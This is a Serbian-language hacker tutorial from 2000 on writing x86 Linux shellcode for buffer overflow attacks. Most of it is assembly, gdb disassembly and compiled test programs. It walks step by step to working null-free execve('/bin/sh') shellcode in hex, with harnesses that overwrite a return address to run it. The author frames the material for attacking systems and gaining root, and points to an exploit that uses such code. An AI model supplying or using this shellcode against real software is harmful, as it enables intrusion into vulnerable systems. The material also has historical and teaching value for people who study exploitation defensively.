XXXXXXXXXXXXXXXXXXXXXXXXXXXXX X KaKo NaPiSaTi ShElL CoDe? X XXXXXXXXXXXXXXXXXXXXXXXXXXXXX Copyright (c) 6/2000 by predator e-mail:preedator@hotmail.com 0. Uvod 1. Sta je Shell Code? 2. Kako ga napisati? 3. Kraj ********* 0. Uvod * ********* Ovaj tutorial je nastao kao dopuna mog tutoriala o buffer overflow-u i stacku. Moj prvi tutorial mozete preuzeti sa www.predator.co.yu/predator_tut.txt,morate ukucati pravu adresu jer ne postoji link ka ovome na mom sajtu koji se inace bavi C/C++ programiranjem za UNIX/Linux. Da biste razumeli ovaj tut morate da znate Asembler(osnovu),C/C++ i normalno malo matematike,HEX brojni sistem(osnova 16) i da znate pre svega sta je shell. Najvaznije od svega je da imate x86 CPU i Linux.Aembler koji budemo koristili je za Linux,nece vaziti za FreeBSD,OpenBSD,AIX i druge distribucije UNIX operativnog sistema.Znaci Linux i x86 procesor su neophodni. Copyright (c) 6/2000 by predator da se obezbedim od pravno/krivicnih gonjenja: Ovaj tutorial je pisan u zelji da se omoguci ljudim da razumeju kako se shell code pise i sta je to pre svega.Namenjen je ambicioznim ljudim koji oce sami da nauce da pisu shell code i da ga shvate.Ovo nemoze bez logike! Ja licno ne odgovaram za bilo kakvu stetu koju kako sebi tako drugima nanesete znanjem stecenim odavde.Svako ko ucini nesto lose sa ovim sam odgovara za svoja dela.Ovaj dokument NE SMETE prepravljati,ako nadjete gresku obavestite me. Dokument smete davati drugima,kopirati,stampati i na bilo koji drugi naci prosledjivati dalje,ali ponavljam NE SMETE ga prepravljati,niti menjati ime autora. Ako se ne slazete sa odredbama ovoga molim vas da odmah prestanete sa citanjem inace cu shvatiti da ste ovo prihvatili i razumeli. Copyright (c) 6/2000 by predator ********************** 1. Sta je Shell code * ********************** Vecina programa koje pokusavamo da iskoristimo(exploit) nemaju u sebi kod koji ce da izvrsi shell.Stoga mi moramo sami napisati kod koji ce da izvrsi shell. Shell code je char niz(string) koji ce u svakom svom bajtu da sadrzi HEX kod tj. masinsku instrukciju,tacnije jezik 0 i 1,koji ce da startuje shell. Shell code moze da bude napisan na dva nacina : 1. char code[]={0x90,0x90,...}; 2. char code[]="\x90\x90..."; Mislim da vec i sami znate sta je shell code kad ste uzeli ovo da citate. Znaci shell code je masinski pisan program koji ce da izvrsi shell. ********************** 2. Kako ga napistai? * ********************** Program koji sluzi da se shell startuje je : shell.cpp --------------------- #include void main(){ char *sh[2]; sh[0]="/bin/sh"; sh[1]=NULL; execve(sh[0],sh,NULL); } --------------------- kompajlirajmo ovo sa -static opcijom sto znaci da se funkcija execve ukljucuje u nas program odmah,a ne da postoji link koji ce istu pozvati kad startujemo program. root@scorpion#c++ shell.cpp -o shell -static root@scorpion#gdb shell GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-linux-gnu"... (gdb) disass main Dump of assembler code for function main: 0x80481c0
: push %ebp 0x80481c1 : mov %esp,%ebp 0x80481c3 : sub $0x8,%esp 0x80481c6 : movl $0x8071b48,0xfffffff8(%ebp) 0x80481cd : movl $0x0,0xfffffffc(%ebp) 0x80481d4 : push $0x0 0x80481d6 : lea 0xfffffff8(%ebp),%eax 0x80481d9 : push %eax 0x80481da : mov 0xfffffff8(%ebp),%eax 0x80481dd : push %eax 0x80481de : call 0x804ce20 <__execve> 0x80481e3 : add $0xc,%esp 0x80481e6 : xor %eax,%eax 0x80481e8 : jmp 0x80481f0 0x80481ea : lea 0x0(%esi),%esi 0x80481f0 : mov %ebp,%esp 0x80481f2 : pop %ebp 0x80481f3 : ret 0x80481f4 : nop 0x80481f5 : nop 0x80481f6 : nop 0x80481f7 : nop 0x80481f8 : nop 0x80481f9 : nop 0x80481fa : nop 0x80481fb : nop 0x80481fc : nop 0x80481fd : nop 0x80481fe : nop 0x80481ff : nop End of assembler dump. (gdb) disass __execve Dump of assembler code for function __execve: 0x804ce20 <__execve>: push %ebx 0x804ce21 <__execve+1>: mov 0x10(%esp,1),%edx 0x804ce25 <__execve+5>: mov 0xc(%esp,1),%ecx 0x804ce29 <__execve+9>: mov 0x8(%esp,1),%ebx 0x804ce2d <__execve+13>: mov $0xb,%eax 0x804ce32 <__execve+18>: int $0x80 0x804ce34 <__execve+20>: pop %ebx 0x804ce35 <__execve+21>: cmp $0xfffff001,%eax 0x804ce3a <__execve+26>: jae 0x804d1f0 <__syscall_error> 0x804ce40 <__execve+32>: ret End of assembler dump. (gdb) quit Da vidimo sta se ovde desava! push %ebp mov %esp,%ebp sub $0x8,%esp Ovo je standardno pre svake funkcije,prvo sacuva ebp a zatim kopira esp u ebp i sad se ebp koristi za pristupanje argumentima funkcije.Od esp se oduzima 8 jer 2 char pointera ce zauzeti 2 x 4 ili 8 bajta na stacku. main+6 je isto sto i sh[0]="/bin/sh"; main+13 je sh[1]=NULL Poziv funkciji pocinje kod main+20. Pogledajte na STACK se gura poslednji argument funkcije tj. NULL main+22 tu ucitavamo memorijsku lokaciju od sh char niza u %eax i guramo eax na stack tj. to je drugi argument funkcije execve,sh adresa. main+26 adresu od sh[0] kopiramo u EAX i guramo na STACK kao prvi argument funkcije tj. sh[0]. Pogledajmo sad __execve funkciju i pokusajmo da shvatimo sta se tamo desava nemojte da vas brine sto nema mov %esp,%ebx to sad nije ni bitno ali stack je ovakav u toj funkciji: [ebp ][eip ][&sh[0]][&sh ][NULL] Gledajte sta se prvo radi-> mov 0x10(%esp,1),%edx mov 0xc(%esp,1),%ecx mov 0x8(%esp,1),%ebx movl $0xb,%eax int $0x80 Prilicno zapetljano deluje na prvi pogleda ali nije,naprotiv vise je nego logicno. mov 0x10(%esp,1),%edx znaci da u EDX treba da imamo adresu NULL. mov 0xc(%esp,1),%ecx znaci da u ECX treba da imamo adresu adrese sh niza. mov 0x8(%esp,1),%ebx znaci da treba da imamo adresu naseg stringa tj. sh[0] ili naseg "/bin/sh" u EBX movl $0xb,%eax je sistemski poziv funkciji __execve preko int $0x80. Ajde da malo pojasnim. Moramo da u EDX stavimo adresu NULL tj. treceg parametra funkcije Moramo da u ECX stavimo adresu adrese naseg sh tj. drugi parametar Moramo da u EBX stavimo adresu naseg stringa tj. /bin/sh terminiranim sa '\0' Moramo da u EAX stavimo subrutinu 0xb ili 11 Moramo da pozovemo int $0x80 koji je nacin da se prebacimo u kernel mod. Sledec pitanje je kako mi znamo adresu naseg stringa u memoriji? Naci na koji cemo to uraditi je da koristimo jmp i call.Caka je da postavimo string odmah posle call tako da kad call PUSHne EIP na stack to ce ustvari biti adresa naseg stringa.Kako to izlgeda u praksi: [JJSSSSSSSSSSSSSSCCssssss][ssss][eip ][?????????????] |||_____________||________________| ||_____________|| |______________| Znaci sa EIP skacemo na jmp,sa jmp skacemo na call i imamo nasu adresu na stacku call nas vraca na nas code i to je to. Program koji ce da radi tako nesto izlgeda ovako: jmp 0x1e //skaci na call popl %esi //Uzimamo adresu koju je call ostavio tj. adresu od sh[0] movl %esi,0x8(%esi) //Na kraj stavljamo adresu od sh,setite se,iza /bin/sh movl $0x0,0xc(%esi) //to je ono NULL sto nas ceka kao treci parametar movb $0x0,0x7(%esi) // nas string /bin/sh terminiramo sa \0 movl %esi,%ebx //u ebx stavljamo adresu od sh[0] tj. /bin/sh leal $0x8(%esi),%ecx //drugi parametar tj. adresa adrese sh leal $0xc(%esi),%edx //adresa naseg treceg parametra tj. NULL movl $0xb,%eax //subrutina za execve int $0x80 //pozivamo inetrupt 0x80 da se prebacimo u kernel mode call -0x23 // offset od popl %esi string "/bin/sh" //nas string!!! Sta je to adresa adrese? Pogledajte u main+22 lea sto je skracenica od LOAD EFECTIV ADRES znaci imamo adresu od od sh na stacku.Pogledajte u __execve da program zatim prebacuje tu adresu u %ecx.U nasem kodu cemo staviti adresu movl %esi,0x8(%esi) sto znaci da stavljamo adresu iza /bin/sh tj. adresu od onog sh.Zatim sa leal $0x8(%esi),%ecx ucitavamo adresu na kojoj se nalazi adresa od drugog parametra(sh) i to je to. Ubacimo ovo u C program: shell1.cpp --------------------------- void main(){ __asm__("jmp 0x1e \n popl %esi \n movl %esi,0x8(%esi) \n movb $0x0,0x7(%esi) \n movl $0x0,0xc(%esi) \n movl %esi,%ebx \n leal 0x8(%esi),%ecx \n leal 0xc(%esi),%edx \n movl $0xb,%eax \n int $0x80 \n call -0x23 \n .string \"/bin/sh\" \n"); } --------------------------- root@scorpion#c++ shell1.cpp -o shell1 root@scorpion#gdb shell1 GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-linux-gnu"... (gdb) disass main Dump of assembler code for function main: 0x8048730
: push %ebp 0x8048731 : mov %esp,%ebp 0x8048733 : jmp 0x8048753 0x8048735 : pop %esi 0x8048736 : mov %esi,0x8(%esi) 0x8048739 : movb $0x0,0x7(%esi) 0x804873d : movl $0x0,0xc(%esi) 0x8048744 : mov %esi,%ebx 0x8048746 : lea 0x8(%esi),%ecx 0x8048749 : lea 0xc(%esi),%edx 0x804874c : mov $0xb,%eax 0x8048751 : int $0x80 0x8048753 : call 0x8048735 0x8048758 : das 0x8048759 : bound %ebp,0x6e(%ecx) 0x804875c : das 0x804875d : jae 0x80487c7 <_fini+7> 0x804875f : add %dh,(%ecx) 0x8048761 : shr $0xc,%bl 0x8048764 : lea 0x0(%esi),%esi 0x804876a : lea 0x0(%edi),%edi 0x8048770 : mov %ebp,%esp 0x8048772 : pop %ebp 0x8048773 : ret 0x8048774 : nop 0x8048775 : nop 0x8048776 : nop 0x8048777 : nop 0x8048778 : nop 0x8048779 : nop 0x804877a : nop 0x804877b : nop 0x804877c : nop 0x804877d : nop 0x804877e : nop 0x804877f : nop End of assembler dump. (gdb) x/bx main+3 0x8048733 : 0xeb (gdb) 0x8048734 : 0x1e (gdb) 0x8048735 : 0x5e (gdb) 0x8048736 : 0x89 (gdb) 0x8048737 : 0x76 (gdb) ... Lepo lepo.Nas kode ide do main+47! jer je do 47 smesten nas "/bin/sh" u HEX kad nas program lepo sredimo i uredimo on izgleda nesto nalik na ovo: shell2 ------------------------ char code[]= "\xeb\x1e\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00" "\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb8\x0b\x00\x00\x00" "\xcd\x80\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00"; int main(){ char buf[5]; int *ret=(int *)(buf+12); *ret=(int)code; } ------------------------ pazite \x2f\x62\x69\x6e\x2f\x73\x68\x00 je ustvari "/bin/sh" tako da to mozete da zamenite sa /bin/sh...Vecina hakera ovaj deo menja.Tako da u HEXu napisu /adm/sh ili slicno(ovo je slucaj sa t666.c exploitom).No ovo pomenuh da znate. Idemo sad da ga iskompajliramo i pokrenemo: root@scorpion#c++ shell2.cpp -o shell2 root@scorpion#./shell2 sh-2.03#exit exit root@scorpion# Radi. pogledajte ovaj kod!!Ima na nekoliko mesta \x00 ili 0x00 ili '\0'.Vecina funkcija koje rade sa stringom ovaj karakter smatraju kao kraj stringa pa ce nas string sa strcpy() biti kopiran do prvog 0x00 znaka.Ajde da kod ucinimo kracim i bez ovih 0x00. Sledece cemo zameniti: --------------------------------------------------------- movb $0x0,0x7(%esi) xorl %eax,%eax movl $0x0,0xc(%esi) movb %al,0x7(%esi) movl %eax,0xc(%esi) movl $0xb,%eax movb $0xb,%al --------------------------------------------------------- Napismo novi ASM kod: jmp 0x18 // skacemo na call popl %esi // uzimamo adresu koju je call ostavio tj. /bin/sh movl %esi,0x8(%esi) // iza /bin/sh stavljamo drugi paramtera funkcije xorl %eax,%eax // eax postavljamo na 00000000 movb %al,0x7(%esi) // pomeramo iz al tj. 0 na kraj naseg /bin/sh movl %eax,0xc(%esi) // iza svega pisemo treci parametar tj. NULL movl %esi,%ebx // adreas od sh[0] tj. /bin/sh leal 0x8(%esi),%ecx // u ecx ucitavamo adresu adrese od sh leal 0xc(%esi),%edx // i u edx ucitavao adresu treceg parametra tj. NULL movb $0xb,%al // u al stavljamo 0xb subrutinu int $0x80 // pozivamo intreupt $0x80 call -0x1d // skacemo na popl ostvljajuci adresu /bin/sh na stack-u .string "/bin/sh" // i dobro nam poznat string!!! ubacimo to sad u C kao malopre i kompajlirajmo: shell2.cpp ------------------------ void main(){ __asm__("jmp 0x18 \n popl %esi \n movl %esi,0x8(%esi) \n xorl %eax,%eax \n" "movb %al,0x7(%esi) \n movl %eax,0xc(%esi) \n movl %esi,%ebx \n" "leal 0x8(%esi),%ecx \n leal 0xc(%esi),%edx \n movb $0xb,%al \n int $0x80 \n" " call -0x1d \n .string \"/bin/sh\" \n"); } ------------------------ root@scorpion#c++ shell2.cpp -o shell2 root@scorpion#gdb shell2 GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-linux-gnu"... (gdb) disass main Dump of assembler code for function main: 0x8048730
: push %ebp 0x8048731 : mov %esp,%ebp 0x8048733 : jmp 0x804874d 0x8048735 : pop %esi 0x8048736 : mov %esi,0x8(%esi) 0x8048739 : xor %eax,%eax 0x804873b : mov %al,0x7(%esi) 0x804873e : mov %eax,0xc(%esi) 0x8048741 : mov %esi,%ebx 0x8048743 : lea 0x8(%esi),%ecx 0x8048746 : lea 0xc(%esi),%edx 0x8048749 : mov $0xb,%al 0x804874b : int $0x80 0x804874d : call 0x8048735 0x8048752 : das 0x8048753 : bound %ebp,0x6e(%ecx) 0x8048756 : das 0x8048757 : jae 0x80487c1 <_fini+17> 0x8048759 : add %dh,(%ecx) 0x804875b : shr $0x2,%bl 0x804875e : mov %esi,%esi 0x8048760 : mov %ebp,%esp 0x8048762 : pop %ebp 0x8048763 : ret 0x8048764 : nop 0x8048765 : nop 0x8048766 : nop 0x8048767 : nop 0x8048768 : nop 0x8048769 : nop 0x804876a : nop 0x804876b : nop 0x804876c : nop 0x804876d : nop 0x804876e : nop 0x804876f : nop End of assembler dump. (gdb) x/bx main+3 0x8048733 : 0xeb (gdb) 0x8048734 : 0x18 (gdb) 0x8048735 : 0x5e (gdb) 0x8048736 : 0x89 (gdb) 0x8048737 : 0x76 (gdb) 0x8048738 : 0x08 (gdb) ... i sad ubacimo ovaj HEX kod u nas program-> shell3.cpp ------------------------------------ char code[]= "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\x89\xf3" "\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\xe8\xe3\xff\xff\xff\x2f" "\x62\x69\x6e\x2f\x73\x68\x00"; void main(){ char buf[5]; int *ret=(int*)(buf+12); *ret=(int)code; } ------------------------------------- root@scorpion#c++ shell3.cpp -o shell3 root@scorpion#./shell3 sh-2.03#exit exit root@scorpion# nas kod sad vise nema 0x00 pa se moze lepo smatrati za jedan niz. Postoji jos nesto sto sam vidjao po nekim shell code-vima a to je da posle poziva za execve satvimo exit(0) tj. ako iz nekog razloga program ne uspe da izvrsi shell da se mirno izadje iz programa tj. exit(0). Dacu vam kod kako treba da izgleda sve,sve ali moracete sami da pisete HEX jer mislim da exit nama netreba tj. ako napadate neki sistem i execve ne uspe vec se izvrsi exit(0) zasto program da izadje sa EXIT_SUCCES?Zar nije bolje da se sam obori tako sto ce izvrsavati bog te pita sta posle naseg koda.Sve u svemu padne li on sam ili ga mi oborimo sa exit(0) isto nam se vata. Nama treba shell i nista vise!!! Shell code koji sam koristio u Buffer overflow tut ima exit(0) tako da mozete njega ili ovaj kod da koristite. evo vam jos i exit u HEXu pa da zavrsimo! exit.cpp ------------------ int main(){ exit(0); } ------------------ root@scorpion#c++ exit.cpp -o exit root@scorpion#gdb exit GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-linux-gnu"... (gdb) disass _exit Dump of assembler code for function _exit: 0x804cdf0 <_exit>: mov %ebx,%edx 0x804cdf2 <_exit+2>: mov 0x4(%esp,1),%ebx 0x804cdf6 <_exit+6>: mov $0x1,%eax 0x804cdfb <_exit+11>: int $0x80 0x804cdfd <_exit+13>: mov %edx,%ebx 0x804cdff <_exit+15>: cmp $0xfffff001,%eax 0x804ce04 <_exit+20>: jae 0x804d1b0 <__syscall_error> End of assembler dump. (gdb) quit Naime sta treba da imamo u EBX nacin izlaska 0 uspesno,1 greska U %eax treba da imamo subrutinu $0x1 i na kraju da pozovemo int $0x80 i to je exit(0); _exit+2 je stavljanje PUSHnutog argumenta pre ulaska u funkciju tj. 0 nas C kod sa 0x00 ------------------ void main(){ __asm__(" movl $0x0,%ebx \n movl $0x1,%eax \n int $0x80 \n"); } ------------------ i bez 0x00 ------------------ void main(){ __asm__(" xorl %eax,%eax \n movl %eax,%ebx \n movb $0x1,%al \n int $0x80"); } ------------------ Ako ste ucili iz ovog a ne citali,sto bi nasi rekli,"preko kurca" cisto da procitate onda bi trebalo da znate da exit prebacite u HEX i da ga uspesno ubacite u neki od gore shell code-ova. Kako to da uradite?Ubacite ovaj deo exit u neki gornji program izmedju int $0x80 i call offset.Naime kako da znate gde ce da skoci call a gde jmp i koje vrednosti da stavite? Iskreno da vam kazem kako se to radi! Prvo stavite neku glupu vrednost 0x1f ili bilo sta i kad program kompajlirate pokrenite gdb i vidite koliko jmp ima do call i koliko call ima do popl %esi i to je to! Znaci ako jmp pocinje na main+3 a call je na main+29 pa izracunate razliku i stavite tu vrednost u HEXu isto uradite i za call do popl %esi samo stavite posle call - da zna da ide nazad.Pa onda otvorite gdb i vidite da li call ide tamo gde treba,ako neide pa uvecajte ili smanjite vrednost dok ne dobijete ono pravo.Isto i za jmp.Prosto zar ne.(to je ona matematika sto sam rekao u uvodu da ce nam trebati). U mom tutorijalu o Buffer overflow imate kako poboljsati shell code sa setuid(0) funkcijom tako da se dobija cist root. E da exit(0) jos nemojte da stavljate ako je buffer za overflow mali!Neisplati se potrositi 4-5 bajtova za exit(0) ako nama svaki bajt zivot znaci. Copyright (c) 6/2000 by predator e-mail:preedator@hotmail.com ********* 3. Kraj * ********* Eto dodjosmo do samog kraja ako si ovo ucio i naucio sad mozes dalje da radis sam.Ovaj tut je bio,nadam se,veoma detaljan cak sam vam i sliku crtao 2 puta.Zar ne? Pa srecno ljudi i ako slucajno nadjete neku gresku!Javite da ispravimo!!! Pozdrav od predator-a mailto:preedator@hotmail.com EOF